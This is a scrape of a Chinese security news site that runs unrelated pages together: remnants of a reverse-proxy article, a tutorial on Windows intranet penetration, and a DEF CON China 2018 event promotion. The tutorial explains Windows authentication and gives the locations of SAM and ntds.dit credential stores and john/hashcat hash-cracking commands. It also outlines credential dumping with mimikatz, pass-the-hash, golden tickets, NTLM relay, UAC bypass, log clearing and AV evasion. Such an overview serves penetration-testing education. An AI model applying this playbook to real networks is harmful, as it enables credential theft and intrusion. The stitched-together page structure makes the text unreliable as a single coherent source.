安全客 – 有思想的安全新媒体
技术分析 安全研究 反向代理

Passer6y 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
神奇小子
换一个
|评论列表
莽撞少年 · 2018-07-04 16:58:48 2 回复
膜一波

KarmA · 2018-07-04 16:34:16 3 回复
赶紧反代一波 (๑•́ ₃•̀๑)

Passer6y
道格安全实验室成员
文章
2
粉丝
6
TA的文章
Pentestit V11内网渗透
2018-08-06 11:00:07
浅析反向代理
2018-07-04 16:00:28
输入关键字搜索内容
相关文章
利用分块传输吊打所有WAF
一网打尽核心网及终端协议实现漏洞:韩国科学技术院LTEFuzz新方法
如何利用.NET实现Gargoyle
9月3日每日安全热点 – Linus Torvalds坦率讲述英特尔安全漏洞
CVE-2018-3639 | 最新侧信道攻击详细分析
Hussarini——一个正将菲律宾作为攻击目标的后门
关于如何使用信用卡磁条阅读器读取酒店钥匙卡数据的分析
热门推荐
文章目录
0x01: 前言
0x02: 简介
0x03: 一些有意思的东西
0x04: 反向代理不当
0x05: 如何防止被反向代理
0x06: Apache 反代配置方法
1. windows下
2. linux下
3.htaccess配置反向代理
0x07 nginx 反向代理
1. 简单反代
2. 实例:反代Google
0x08 结语
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

nbtscan.exe

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
内网渗透知识基础及流程
阅读量 176243 | 评论 14 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2019-01-31 10:26:08

前言
现在网上内网渗透、域渗透文章很多,大多数人只知道如何进行操作获取全新,不知使用该技术的原理和该技术操作影响Windows何种功能,Windows何种机制对内网渗透产生的影响。本文按照数个Windows系统的功能进行讲解,完善内网渗透知识结构。

要点
SAM
Hash
Active Directory
Kerberos
SMB
IPC
NetBIOS
LLMNR
WMI
Windows Access Token
Windows网络认证
Windows本地认证流程
内网渗透流程
内网渗透常用工具

SAM
SAM(安全账户管理器),SAM是用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄漏,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash、NTLMHash。在用户在本地或远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密。

SAM文件在磁盘中的位置在C:\windows\system32\config\sam SAM文件在Windows系统启动后被系统锁定,无法进行移动和复制

Hash
Windows系统为了保证用户明文密码不会被泄漏,将明文密码转换为Hash值进行身份验证,被保存在SAM或ntds.dit中。

Hash背景
1.LM Hash,在早期的Windows操作系统中将明文密码转换为LM Hash保存在SAM文件中,因为LM Hash使用DES加密,密钥为硬编码,算法又存在缺陷,所以被废弃,为了保证系统兼容性可以自行开启。

2.NTLM Hash,在LM Hash算法被弃用时,NTLM Hash被用来进行Windows本地及远程身份验证的凭据,长度为32bit、由数字和字母组成。

Hash示例
冒号前半段为LM Hash,冒号后半段为NTLM Hash aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 net-NTLM Hash:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

Hash产生:
1.LM Hash:

admin1-ADMIN1(将密码转换为大写字母 )
ADMIN1-41444d494e31(16进制转换)
41444d494e31-41444d494e310000000000000000(密码未到7位,在末尾补0,填充为14个字符,补16个0)
41444d494e3100 00000000000000(分为两组,各转换为2进制)
1000001010001000100110101001001010011100011000100000000(长度不足56bit,左侧补0)
01000001010001000100110101001001010011100011000100000000(再分为7bit一组,后加0)
0100000 0
1010001 0
0001001 0
1010100 0
1001010 0
0111000 0
1100010 0
0000000 0
0100000010100010000100101010100010010100011100001100010000000000-40A212A89470C400(转换为16进制)
0000000000000000

将上面两组数字des加密

KGS!@#$%-4b47532140232425(KGS!@#$%为LM Hash加密时DES加密的硬编码,转换为16进制)
6C734076E7B827BFAAD3B435B51404EE(将两组des加密后的密文组合,得到LM Hash)

标题: fig:

标题: fig:

注:如果密码不超过7字节,后面的一半是固定的,都为0,安全性降低,所以被弃用。

2.NTLM Hash:

1.hex(16进制编码)
2.Unicode编码 3.md4加密

admin1-61646d696e31(将明文转换为16进制编码)
61646d696e31-610064006d0069006e003100(ASCII转Unicode)
610064006d0069006e003100-74561893ea1e32f1fab1691c56f6c7a5(md4加密得到NTLM Hash)

获取Hash方法
1.使用卷影副本将SAM文件导出,配合SYSKEY利用mimikatz等工具获得NTLM Hash

2.使用mimikatz等工具读取lsass.exe进程,获取Hash

3.配合其他漏洞和手法获取net-NTLM Hash 4.net-NTLM Hash可以使用Responder或Inveigh等工具获取

破解Hash
LM Hash
1.john –format=lm hash.txt
2.hashcat -m 3000 -a 3 hash.txt
NTLM Hash
1.john –format=nt hash.txt
2.hashcat -m 1000 -a 3 hash.txt
Net-NTLMv1
1.john –format=netntlm hash.txt
2.hashcat -m 5500 -a 3 hash.txt
Net-NTLMv2
1.john –format=netntlmv2 hash.txt
2.hashcat -m 5600 -a 3 hash.txt

Active Directory(活动目录)
简介
Active Directory,活动目录简称AD,是一个基于DNS并以树状的数据结构来组成网络服务存储了有关网络对象的信息,并以此作为基础对目录信息进行合乎逻辑的分层组织,让管理员和用户能够轻松地查找和使用这些信息。常网域都只有一个,在中型或大型的网络中,网域可能会有很多个,或是和其他公司或组织的AD相互链接。

活动目录功能
服务器及客户端计算机管理
用户服务
资源管理
桌面配置
应用系统支撑
存储方式
ntds.dit是AD中的数据库文件,它被保存在域控制器c:\windows\system32\ntds\NTDS.DIT位置。活动目录的数据库文件(ntds.dit)包含有关活动目录域中所有对象的所有信息,其中包含所有域用户和计算机帐户的密码哈希值。该文件在所有域控制器之间自动同步,它只能被域管理员访问和修改。

攻击活动目录
利用常规Web渗透进行横向渗透
常规Dump Hash后进行PTH,循环操作,直到获取Domain Admins
利用SYSVOL和组策略首选项(GPP)
MS14-068
利用VSS卷影副本拷贝ntds.dit
利用Responder等工具进行ARP
Netbios和LLMNR命名投毒
kerberoast(破解Ticket)
MS17-010

Kerberos
Kerberos是一种网络认证协议,对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。 它允许某实体在非安全网络环境下通信,向另一个实体以一种安全的方式证明自己的身份。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

协议内容
AS:认证服务器
KDC:密钥分发中心
TGT:票据授权票据,票据的票据
TGS:票据授权服务器
认证流程

认证流程包含三种角色:

1.Client(客户端)

2.Server(服务端)

3.KDC(也就是参与认证的域控制器)

4.AD(存储所有 client的白名单,只有存在于白名单的Client才能顺利申请到TGT)

5.AS(为Client生成TGT的服务)

6.TGS(为Client生成某个服务的 ticket)

7.Session Key(会话密钥,只有Client和TGS知道,在Kerberos认证中至关重要)

一、Client向KDC申请TGT

1.Client以明文方式将用户名、IP地址发送给AS请求TGT

2.KDC在ntds.dit中查找该账户

3.如果找到,KDC随机生成一个Session Key,此时AS向Client发送两条消息

(1)TGT(使用krbtgt NTLM Hash加密),内容包含:

User Name
Domain Name
组成员资格
TGS Name
时间戳
IP地址
TGT的生命周期
Session Key

(2)另一条消息(使用Client申请TGT时使用的用户名对应的NTLM Hash加密),内容包含:

TGS Name
时间戳
TGT的生命周期
Session Key

二.Client通过获得TGT向KDC申请用于访问Server的Ticket

1.Client向TGS发送三条消息

(1)Authenticator(使用Session Key加密),内容包含:

User Name
时间戳
需要访问的服务名称

(2)TGT

KDC使用Ktbtgt NTLM Hash对TGT解密,获取Client信息和Session Key
使用Session Key对Client发来对Authenticator信息解密,对比Client信息,相同则认证通过
TGS向Client发送两条消息

(1)TGS生成Client需要访问服务的Ticket发送给Client,Ticket使用目标服务帐户的NTLM Hash加密。
(2)使用Session Key加密的Server Session Key,内容包含:

Server Name
时间戳
Server Session Key

Client收到消息后,使用Session Key解密获得Server Session Key

三.Client最终向为了Server对自己的认证向其提交Ticket

1.使用Server Session Key加密向Server发送Authenticator信息和TGS颁发的Server Ticket,内容包含:

User Name
时间戳

2.Server使用密钥解密Ticket,获得Server Session Key,使用Server Session Key解密Authenticator信息,对比Authenticator信息中的Client信息和Ticket中的Client信息对比,将Authenticator信息的时间戳和Ticket的时间戳是否相同(误差2min)

3.Server使用Server Session Key加密Authenticator信息,内容包含:

ID
时间戳

4.Client使用缓存中的用Server Session Key解密Authenticator信息,得到访问该访问需要携带的ID和时间戳。

5.认证完成,只需要使用申请的Service Ticket就可以正常访问服务。

SMB
SMB(Server Message Block)被称为服务器消息块,又叫网络文件共享系统(CIFS)。在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

主要功能
使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。

原理
CIFS消息一般使用NetBIOS或TCP协议发送,分别使用不同的端口139或445,当前倾向于使用445端口。

直接运行在 TCP 上 port 445
通过使用 NetBIOS API
基于 UDP ports 137, 138 & TCP ports 137, 139
基于一些传统协议,例如 NBF
历史版本
1.SMB 1.0 没有数字签名功能

2.SMB 2.0

3.SMB 2.1

4.SMB 3.0

IPC(进程间通信)
简介
指至少两个进程或线程间传送数据或信号的一些技术或方法。

作用
信息共享:Web服务器,通过网页浏览器使用进程间通信来共享web文件(网页等)和多媒体
加速:维基百科使用通过进程间通信进行交流的多服务器来满足用户的请求
模块化
私有权分离
功能
IPC$

简介

IPC$是共享“命名管道”的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,从NT/2000开始使用。

IPC$在同一时间内,两个IP之间只允许建立一个连接。

NT/2000在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或管理员目录(admin$)共享。

IPC$主要使用

IPC空连接

对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等;在WIndows Server 2000及以后作用更小,因为在Windows 2000 和以后版本中默认只有管理员有权从网络访问到注册表。

常用命令

建立IPC$空连接:net use \\192.168.1.101\ipc$ “” /user:”domain\username”

建立IPC$非空连接:net use \\192.168.1.101\ipc$ “password” /user:”domain\username”

删除IPC$连接:net use \\192.168.1.101\ipc$ /del

已经建立IPC$连接并且有权限,将目标C盘映射到本地Z盘:net use z: \\192.168.1.101\c$

删除映射:net use z: /del

关闭IPC默认共享:net use ipc$ /del

注:

1.现在绝大多数的Windows操作系统默认策略不允许来自远程网络验证的空密码,所以IPC空连接已经被废弃。

2.如果远程服务端未开启139、445端口,无法使用IPC$进行连接。

NETBIOS
简介
NETBIOS(网络基本输入输出系统),严格讲不属于网络协议,NETBIOS是应用程序接口(API),早期使用NetBIOS Frames(NBF)协议进行运作,是一种非路由网络协议,位于传输层;后期NetBIOS over TCP/IP(缩写为NBT、NetBT)出现,使之可以连接到TCP/IP,是一种网络协议,位于会话层。基于NETBIOS协议广播获得计算机名称——解析为相应IP地址,WindowsNT以后的所有操作系统上均可用,不支持IPV6
类型
NETBIOS提供三种服务

NetBIOS-NS(名称服务):为了启动会话和分发数据报,程序需要使用Name Server注册NETBIOS名称,可以告诉其他应用程序提供什么服务,默认监听UDP137端口,也可以使用TCP 137端口。
Datagram distribution service(数据报分发服务):无连接,负责错误检测和恢复,默认在UDP 138端口。
Session Server(会话服务):允许两台计算机建立连接,默认在TCP 139端口。
利用NETBIOS发现主机

1.nbtstat(Windows自带命令)

获取目标主机MAC地址

nbtstat -A 192.168.100.200

标题: fig:

2.nbtscan

扫描指定网段的主机名和网络开放共享

nbtscan.exe 192.168.100.1/24

标题: fig:

SHARING表示开放,DC 表示可能是域控

LLMNR
简介
LLMNR是链路本地多播名称解析,当局域网中的DNS服务器不可用时,可以使用LLMNR解析本地网段上机器名称,只有WindowsVista和更高版本才支持LLMNR,支持IPV6
工作流程
通过UDP发送到组播地址224.0.0.252:5355,查询主机名对应的IP,使用的是DNS格式数据包,数据包会被限制在本地子网中。
本地子网中所有支持LLMNR的主机在受到查询请求时,会对比自己的主机名是否相同,不同就丢弃,相同就发送包含自己IP的单播信息给查询主机。
主机在内部名称缓存中查询名称
在主DNS查询名称
在备用DNS查询名称
使用LLMNR查询名称

WMI
WMI(Windows管理规范),由一系列对Windows Driver Model的扩展组成,它通过仪器组件提供信息和通知,提供了一个操作系统的接口。在渗透测试过程中,攻击者往往使用脚本通过WMI接口完成对Windows操作系统的操作,远程WMI连接通过DCOM进行。例如:WMIC、Invoke-WmiCommand、Invoke-WMIMethod等。另一种方法是使用Windows远程管理(WinRM)。

Windows Access Token
简介
Windows Access Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清 除,只有在重启机器后才会清除 Access Token分为两种(主令牌、模拟令牌)

组成
用户帐户的安全标识符(SID)
用户所属的组的SID
用于标识当前登录会话的登录SID
用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计数据
SID
安全标识符是一个唯一的字符串,它可以代表一个账户、一个用户 组、或者是一次登录。通常它还有一个SID固定列表,例如 Everyone这种已经内置的账户,默认拥有固定的SID。

SID表现形式:

域SID-用户ID
计算机SID-用户ID

Windows Access Token产生过程
每个进程创建时都会根据登录会话权限由LSA(Local Security Authority)分配一个Token(如果CreaetProcess时自己指定了 Token, LSA会用该Token, 否则就用父进程Token的一份拷贝。

Windows网络认证
1.工作组
简介

工作组是指数台计算机在同一个内网中,在逻辑上都属于工作组,但是在工作组中的机器之间相互没有信任关系,每台机器的账号密码只是保存在自己的SAM文件中。那就意味着如果需要共享资源只能新建一个账号并指定相关资源授予该账号权限才可以完成共享。早期利用SMB协议在内网中传输明文口令,后为了安全出现LM Challenge/Response 验证机制,再之后LM Challenge/Response 验证机制因为安全性问题,从Windows Vista / Server 2008开始LM就被弃用,改用Windows NT挑战/响应验证机制,常被人称为NTLM,现在被更新到NTLMv2

历史版本

NTLMv1:服务器通过发送一个8字节的随机数(挑战)来验证客户端,客户端返回两个24字节Hash进行计算并返回计算结果。
NTLMv2:它通过加强协议来抵御许多欺骗攻击,并增加服务器向客户端进行身份验证的能力,从而增强了NTLM的安全性。服务器通过发送一个16字节的HMAC – MD5随机数(挑战)来验证客户端。 ####工作流程 Client(客户端)、Server(服务端)

[1] 协商
Clint向Server发送消息,确定协议版本
[2] 质询
Client向Server发送用户名消息作为请求
Server收到请求,验证是否存在Client发来的用户名,如果存在,生成16位的随机数(Challenge)发送给Cilent,并使用SAM中查询用户名对应的NTLM Hash加密Chanllenge,生成Net-NTLM Hash存放在内存中。
Client使用发送的用户名对应的NTLM Hash加密Challenge,将结果(Response)发送给Server
[3] 验证
Server收到Client发送的Response,将接收的Response与Net-NTLM Hash进行比较,如果相同,则认证通过。
注:每次生成的16字节的Challenge都不同,保证的安全性。

本地认证流程
Windows Logon Process(即 winlogon.exe),Winlogon 是负责处理安全相关的用户交互界面的组件。Winlogon的工作包括加载其他用户身份安全组件、提供图形化的登录界面,以及创建用户会话。
LSASS(本地安全认证子系统服务)用于微软Windows系统的安全机制。它负责Windows系统安全策略。它负责用户在本地验证或远程登陆时验证用户身份,管理用户密码变更,并产生访问日志。
用户注销、重启、锁屏后,操作系统会让winlogon显示图形化登录界面,也就是输入框,接收域名、用户名、密码后交给lsass进程,将明文密码加密成NTLM Hash,对SAM数据库比较认证,相同则认证成功。

内网渗透常用端口
53
DNS服务,在使用中需要用到TCP/UDP 53端口,AD域的核心就是DNS服务器,AD通过DNS服务器定位资源
88
Kerberos服务,在使用中需要用到TCP/UDP 88端口,Kerberos密钥分发中心(KDC) 在该端口上侦听Ticket请求
135
135端口主要用于使用RPC协议并提供DCOM服务。
137
NetBIOS-NS(名称服务),在使用中需要用到TCP/UDP 137端口
139
Session Server(会话服务),在使用中需要用到TCP/UDP 139端口,允许两台计算机建立连接
389
LDAP服务(轻量级目录访问协议),在使用中需要用到TCP/UDP 389端口,如果需要使用SSL,需要使用636端口,
445
主要用于共享文件夹或共享打印,存在较多漏洞,如MS08-067、MS17-010
3268 Global Catalog(全局编录服务器),如果需要使用SSL,需要用到3269端口,主要用于用户登录时,负责验证用户身份的域控制器需要通过防火墙,来向“全局编录”查询用户所隶属的通用组

内网渗透流程
Initial Access
Webshell
个人机Beacon
VPN
网络位置判断
网络区域
主机角色
连通性判断
信息收集
信息收集常分为工作组信息收集、域信息收集,管理员、非管理员。信息收集范围包括但不限于对权限信息,机器信息,进程端口,网络连接,共享、会话、敏感文件、密码文件、配置文件、浏览器记录、远程连接工具如xshell等工具记录等信息进行详细收集并加以合理运用,将已有信息最大程度利用,如某大佬所说,渗透的本质是信息收集。具体信息收集命令可以查阅参考链接,不再赘述。

内网穿透常见协议及利用
TCP
UDP
Http
Https
SSH
DNS
Icmp
FTP
GRE
在内网渗透中常见方法:

1.将单一端口转发到公网VPS
2.反向sockets代理,可以将流量全局带入

常用文件类型:

exe/ps1/python

权限提升
1.EXP提权
利用已公开EXP进行溢出提权可参照windows-kernel-exploits,可以配合Windows-Exploit-Suggeste进行辅助提权。
2.利用AD特性提权
如MS14-068、GPP等
3.Windows非EXP提权
劫持类提权如DLL劫持、COM劫持、Unquoted Service Paths、利用第三方高权限服务提权
4.假冒令牌
当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清 除,只有在重启机器后才会清除。
5.Bypass UAC
Windows系统中Administrators组非SID为500的用户必须Bypass Uac才可以获得特权令牌,具体方法可以使用Windows自带程序进行Bypass,可以参考UACME项目。

内网横向渗透方法
ipc$+计划任务
PTH
Wmi
WinRm
利用常规Web渗透横向
sc
ps1
在无法抓取用户明文密码的情况下可以使用Hash注入登陆系统或登陆服务

内网渗透持久化
1.利用活动目录

Golden Ticket
Silver Ticket
DSRM
SSP(Security Support Provider)
Hook PasswordChangeNotify
SID History
2.Windows常规持久化

常规Webshell
利用Windows注册表项
Logon Scripts
Dll劫持
计划任务
(1)at
(2)schtasks
wmi事件
COM劫持
MITI
1.Responder responder.py –A 分析模式

2.Impacket Relay attacks Tools,该工具可以进行SMB Relay、NTLM Relay。

3.smb relay ntlmv2 使用Impacket中的ntlmrelayx.py和Responder中的MultiRelay.py配合使用。在SMB签名关闭的情况下将net-ntlm Hash中继进行攻击,SMB签名默认在非Windows Server系统中关闭。

日志清理
Windows EventLog、Application Log、Session、进程、物理存储中的二进制文件

内网渗透常用工具和方式
1.渗透框架

Cobalt Strike
Empire
NiShang
Metasploit
Powersploit
2.信息收集

Netsess.exe
Powerview
Bloodhound
Nmap
3.权限提升

Powerup
UACME
假冒令牌:
1.Incognito
2.Powershell – Invoke-TokenManipulation.ps1
3.Cobalt Strike – steal_token
4.口令爆破

Hydra
John
Hashcat
5.凭据窃取

Mimikatz
Procdump
QuarksPwDump
LaZagne.exe
windows:

mimikatz

wce

Invoke-WCMDump

mimiDbg

LaZagne

nirsoft_package

QuarksPwDump

fgdump

linux:

LaZagne

mimipenguin

6.横向渗透

psexec
wmi
(1)wmic (2)wmiexec.vbs (3)Invoke-WMIMethod
WinRM
DCOM
WCE
组策略种马
7.MIMT

Responder
Impacket
Invoke-Inveigh.ps1
Cain
7.Bypass AV

Invoke-Obfuscation
Veil
shellcode loder
reflect dll inject

联系我
如果文中出现错误或可提供见解进行文章补充 ,欢迎与我联系

标题: fig:

参考资料:
https://blog.csdn.net/qq_36119192/article/details/83143354 https://payloads.online/archivers/2018-11-30/ https://github.com/l3m0n/pentest_study https://github.com/SecWiki/windows-kernel-exploits https://blog.csdn.net/qq_29647709/article/details/84636049 https://zh.wikipedia.org/wiki/Active_Directory https://zh.wikipedia.org/wiki/Kerberos
https://mp.weixin.qq.com/s?__biz=MzIxNTQxMjQyNg==&mid=2247484247&idx=1&sn=ca9f7fd6ca95000b2b41b13a0a356ede&chksm=9799f8f2a0ee71e44ca01c49c4f9d5a7e222e822608de9e27941272f445600e40e6c7406e94f&mpshare=1&scene=1&srcid=0125ruNezc26zLQykmh48YTO#rd https://blog.csdn.net/wulantian/article/details/42418231 https://www.roguelynn.com/words/explain-like-im-5-kerberos/ https://www.freebuf.com/articles/system/45631.html https://en.wikipedia.org/wiki/NTLANManager
https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-ntlm https://wenku.baidu.com/view/8c342e95700abb68a982fba5.html

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/170471
安全客 – 有思想的安全新媒体
渗透测试 域安全

Dm 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
越南邻国宰相
换一个
|评论列表
越南邻国宰相 · 2019-02-18 16:24:23 回复
的确大部分都是总结和归纳,但是标题也是基础,见怪不怪了

">Clickme · 2019-02-07 17:19:12 回复
干活满满,基础了然于胸才能扩大自己的战果

一条快乐的咸鱼 · 2019-02-04 22:11:52 回复
对于像我这样的小白很适合,感谢大佬,希望能出更多这样的文章,另外祝大佬除夕快乐!

shuteer · 2019-02-03 22:18:41 回复
好文章,手动点赞,说抄的,你来试试也写个

360U2571732052 · 2019-02-02 19:35:23 回复
专门注册账号,给你个好评的,多普及普及内网基础知识更好,感谢

Dm · 本文作者 · 2019-02-04 02:23:14 回复
谢谢支持

Ori71e2 · 2019-02-02 08:58:30 回复
评论的要是牛逼的话,自己投稿写文章啊,喷谁不会

Dm · 本文作者 · 2019-02-04 02:23:40 回复
谢谢支持

Dm · 本文作者 · 2019-01-31 17:43:38 回复
统一回复一下:再说都是抄的那些键盘侠,你行你来?

我不是黑客 · 2019-01-31 17:41:51 4 回复
都是到处copy。。。。

越南邻国宰相 · 2019-01-31 15:18:11 1 回复
你确定。。。很多?

土司观光团 · 2019-01-31 13:43:16 回复
有时候原理更重要一些。

Chemon · 2019-01-31 11:39:22 9 回复
说实话没有看到实质性的技术,感觉这些总结太多了。(个人看法)

pentest666 · 2019-01-31 14:07:31 2 回复
同感!

Dm
安全圈的大妈
文章
1
粉丝
3
TA的文章
内网渗透知识基础及流程
2019-01-31 10:26:08
输入关键字搜索内容
相关文章
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
HTB靶机渗透实战——Carrier
S4U2Self在活动目录持久化中的应用
旧酒犹香——Pentestit Test Lab第九期(下)
旧酒犹香——Pentestit Test Lab第九期(上)
Redis未授权访问在windows下的利用
hackthebox Oz靶机渗透
热门推荐
文章目录
前言
要点
SAM
Hash
Hash背景
Hash示例
Hash产生:
获取Hash方法
破解Hash
Active Directory(活动目录)
简介
活动目录功能
存储方式
攻击活动目录
Kerberos
协议内容
SMB
主要功能
原理
历史版本
IPC(进程间通信)
简介
作用
功能
NETBIOS
简介
类型
LLMNR
简介
工作流程
WMI
Windows Access Token
简介
组成
SID
Windows Access Token产生过程
Windows网络认证
1.工作组
本地认证流程
内网渗透常用端口
内网渗透流程
Initial Access
网络位置判断
信息收集
内网穿透常见协议及利用
权限提升
内网横向渗透方法
内网渗透持久化
MITI
日志清理
内网渗透常用工具和方式
联系我
参考资料:
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

黑客大会

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
DEFCON CHINA世界顶级黑客大会!
阅读量 28020 | 评论 2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-05-03 18:56:32

DEFCON CHINA 官方网站:https://anquan.baidu.com/special/activity/defcon/index.html

活动简介
5月11-13日,DEF CON China将召集全球安全领域研究者、爱好者相聚北京,开启安全大趴。AI已至,大安全时代来临,安全的概念突破了传统网络安全的范畴,生物识别、物联网的大行其道,打破了虚拟世界与现实世界的最后一道屏障,在这个过程中,AI技术被利用在攻防对抗,其自身也存在攻防对抗。BCTF(百度国际网络安全技术对抗赛)也将在DEF CON China期间举行,在延续DEF CON传统议程和赛制的基础上,首次引入AI战队,同时向智能终端厂商发出安全漏洞众测百万悬赏征集令,更多彩蛋逐一揭晓。

活动时间
2018年5月11日-13日

活动地点
北京昆泰酒店,百度地图搜“DEFCON CHINA”即可到达

活动议题
5.11议题概要
【KEYNOTE】

【HACK VILLAGE】

9:00-17:00

Front entrance——汽车极客 VILLAGE
Room 5—— 开锁 VILLAGE
Room 3 ——侦查 VILLAGE
Room 7-8——数据包攻防极客VILLAGE
Room 19 ——蓝队 VILLAGE
Room 20——人工智能VILLAGE
Ballroom C——硬件极客 VILLAGE、生物特征识别VILLAGE、物联网VILLAGE

【WORKSHOPS】
14:00-18:00

ROOM 12——移动APP攻击 2.0
ROOM 15-16——社会工程概要
ROOM08 -09 ——0day 修炼,一天足矣
ROOM 10-11——去中心化黑客网络

5.12议题概要
【KEYNOTE】

【BCTF】
9:00-17:00

【HACK VILLAGE】

9:00-17:00

Front entrance汽车极客 VILLAGE
Room 5 开锁 VILLAGE
Room 3 侦查 VILLAGE
Room 7-8 数据包攻防极客VILLAGE
Room 19 蓝队 VILLAGE
Room 20 人工智能 VILLAGE
Ballroom C硬件极客 VILLAGE
生物特征识别 VILLAGE
物联网 物联网 VILLAGE

【WORKSHOPS】

10:00-14:00
ROOM 12 移动 APP 攻击 2.02.0
ROOM 15-16 社会工程概要
ROOM 08-09 0day 修炼,一天足矣
ROOM 10-11 去中心化黑客网络
14:00-18:00
ROOM 12 开发中的攻与守
ROOM 15-16 扫描电波:用 SDR建立一个简单的无线电扫描技术
ROOM 08-09 恶意软件分析实战:实践
ROOM 10 10-11 动手开发渗透框架
(DEF CON China Electronic Night)

5.13议题概要
【KEYNOTE】

【WORKSHOPS】

10:00-14:00
ROOM 12 开发中的攻与守
ROOM 15-16 扫描电波:用 SDR建立一个简单的无线电扫描技术
ROOM 08-09 恶意软件分析实战:实践
ROOM 10-11 动手开发渗透框架

活动亮点(from浅黑科技:qianheikeji)
1.酷炫纪念胸牌(Badge)
为什么一上来不说议题而先说胸卡?原因很简单,细节往往能说明问题,一个餐馆的洗手间如果超干净,厨房卫生也多半不赖;一场活动的品质把控得如何,细节就能看出来。下面这些 DEF CON 往届的电子胸卡:

话说 DEF CON 的胸卡不仅好看,有的还内藏玄机,比如电路板里暗藏密码开关,解开密码就能依次BlingBling点亮几盏小灯。挂上胸牌在会场转一圈,往对方胸前一看,就知道是小白还是大神。

由于胸卡本身是块电路板,网上还有人充分发挥劳动人民的智慧,把它们改造成玩具车、游戏机一类的小玩意。

也正因如此,几乎每届 DEF CON 排队领胸卡的长龙都是一道亮丽的风景线。平胸而论,一个小小胸卡当然无法决定会议质量,但如果 DEF CON 连一个小小胸卡都能做得令人高潮迭起,并且二十多届年年换新招,那么这场会议的其他环节一定也很考究。话说今年的胸卡到底长什么样?我也还没见着,十分期待。

2.会议的灵魂—-议题
演讲议题是任何一个技术会议的灵魂。一般来说,参会者最怕碰到两件事:花钱看广告和花钱听天书。

所谓花钱看广告,是指整个议题演讲充斥着商业自吹,通篇打广告秀肌肉,让人误以为是某大型皮草展销会。偶尔插播一两句技术干货观众都得谢天谢地……

所谓花钱听天书,是指演讲表面看起来特别干货,PPT里90%都是代码,但其实内容非常小众偏门,演讲者全程激情四射,语速飞快自说自话,无视演讲限制时间,恨不得告诉大家“我再讲两分钟”、“体育老师生病了,我来给大家上”……

以上这两种情况都不太可能出现在 DEF CON 上。

DEF CON 是全球出了名的没什么商业气息,相反,它常常透露出一股让人看着不怎么正经的朋克气质,画风偶尔还会跑偏。

若不是对演讲质量严格控制,DEF CON 也没法延绵26年口碑依然如故。不过,跟 Blackhat 大会的高大上形象相比,DEF CON 议题的学术性又不那么强,更偏重实用性甚至趣味性。

比如今年的 DEF CON China 上有这么几个议题:

“你上了我的账号”
“爆炸:一分钟内销毁存储设备”
“利用谷歌搜索引擎传播恶意软件的方法”
“几种通用的安卓平台路径穿越漏洞的挖掘利用姿势”

听名字,它们就已经跟学术性完美脱钩了,有种屌屌的扌鲁起袖子就是干的实用主义气质。

当然,为了维持技术权威性,这次 DEF CON 也不乏一些听名字就感觉高大上的学术气质议题,比如“当内存安全语言变得不安全”、以及“对深度学习系统的数据流攻击”和“欺骗图片搜索引擎”等等。(实际上还有很多听起来很高大上的英文议题,这里就不一一列举)

有干货有理论有实操不扯淡,这样的技术型会议在我心中已经相当高配了。

